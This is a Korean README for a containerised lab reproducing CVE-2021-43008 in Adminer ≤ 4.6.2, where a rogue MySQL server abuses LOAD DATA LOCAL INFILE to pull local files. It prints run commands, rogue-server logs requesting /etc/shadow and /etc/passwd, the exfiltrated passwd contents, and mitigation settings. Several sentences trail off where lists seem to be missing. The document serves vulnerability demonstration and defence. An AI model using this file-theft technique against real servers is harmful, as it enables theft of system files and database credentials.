
Adminer의 CVE-2021-43008 취약점 데모 환경: 실제 영향을 관찰하고 완화 조치를 테스트합니다.
Adminer는 MySQL, PostgreSQL, SQLite 또는 SQL Server 데이터베이스를 쉽게 관리할 수 있는 웹 기반(PHP) 도구입니다. phpMyAdmin의 가벼운 대안으로 널리 배포됩니다.
영향을 받는 버전: Adminer ≤ 4.6.2
Adminer는 임의의 원격 MySQL 서버에 대한 연결을 허용합니다. 그런데 MySQL 서버에 연결할 때 클라이언트(여기서는 Adminer)는 다음을 수락합니다.
Adminer는 취약한 버전에서 MySQL 서버의 응답을 올바르게 검증하지 않습니다.
결과: 공격자가 제어하는 MySQL 서버가 다음을 요청할 수 있습니다.
"Adminer를 호스팅하는 머신 또는 컨테이너의 로컬 파일을 읽어서 나에게 보내라."
이 메커니즘은 MySQL 패킷과 관련이 있습니다.
0xFB | filename → 로컬 파일 읽기를 트리거합니다.
Adminer 4.6.2는 사용자가 외부 MySQL 서버를 지정하고 자유롭게 연결할 수 있도록 허용했습니다. 그런데 MySQL은 기본적으로 다음 사용을 허용했습니다.
LOAD DATA LOCAL INFILE따라서: Adminer → 악성 서버에 연결 → 악성 서버가 파일 요청 → Adminer가 파일을 전송합니다.
이것이 취약점의 핵심입니다.
공격자는 다음을 수행해야 합니다.
LOAD DATA LOCAL INFILE 패킷을 반환합니다.로컬 파일을 유출하기 위해 루트 비밀번호가 필요하지 않습니다. Adminer가 대상 서버에서 PHP 애플리케이션으로 작업을 실행하기 때문입니다.
공격자는 다음을 수행할 수 있습니다.
도용된 MySQL 자격 증명(2차 단계)을 사용하여 다음을 수행할 수 있습니다.
PoC는 모든 위험을 방지하기 위해 격리된 컨테이너화된 환경에서 수행됩니다.
localhost:8080을 통해 로컬로 노출됨0xFB filename 패킷을 전송하여 Adminer가 로컬 파일을 읽도록 강제함adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
http://localhost:8080에서:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'를 반환합니다./etc/passwd를 읽습니다.stolen_file.txt에 저장합니다.다음 명령어를 사용하여 악성 서버의 로그를 확인합니다:
docker logs -f rogue_mysql
예상 결과:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
stolen_file.txt 파일의 내용을 확인합니다:
docker exec -it rogue_mysql sh
컨테이너 내부에 들어가면 stolen_file.txt를 포함한 파일 내용을 볼 수 있습니다.
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
결과:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
이 결과는 취약점을 명확하게 입증합니다.
가장 신뢰할 수 있는 해결책: Adminer ≥ 4.6.3으로 업그레이드
이후 버전은 네트워크 동작을 수정합니다.
Adminer 4.7.x부터 여러 보호 기능이 도입되었습니다.
Adminer는 이제 기본적으로 LOAD DATA LOCAL INFILE을 금지합니다.
즉:
→ 결과: 악성 MySQL이 더 이상 파일을 유출할 수 없습니다.
Adminer는 서버로 전송하기 전에 클라이언트 작업을 필터링합니다.
이를 통해 외부 연결이 위험한 함수를 사용하는 것을 방지합니다.
추가 입력 검증 메커니즘
새 버전은 다음을 확인합니다.
Adminer를 내부 호스트로만 제한합니다.
프로덕션 Adminer는 항상 내부 MySQL을 가리켜야 합니다.
LOCAL INFILE 비활성화합법적인 MySQL 클라이언트를 통한 도난 방지:
[mysqld]
local_infile=0
또는:
SET GLOBAL local_infile=0;
Adminer는 인터넷에서 액세스할 수 없어야 합니다.
프로덕션에서는:
Adminer는 일시적인 도구로 간주되어야 합니다.
CVE-2021-43008은 Adminer ≤ 4.6.2의 심각한 취약점으로, 다음을 가능하게 합니다.
이는 다음의 중요성을 완벽하게 보여줍니다.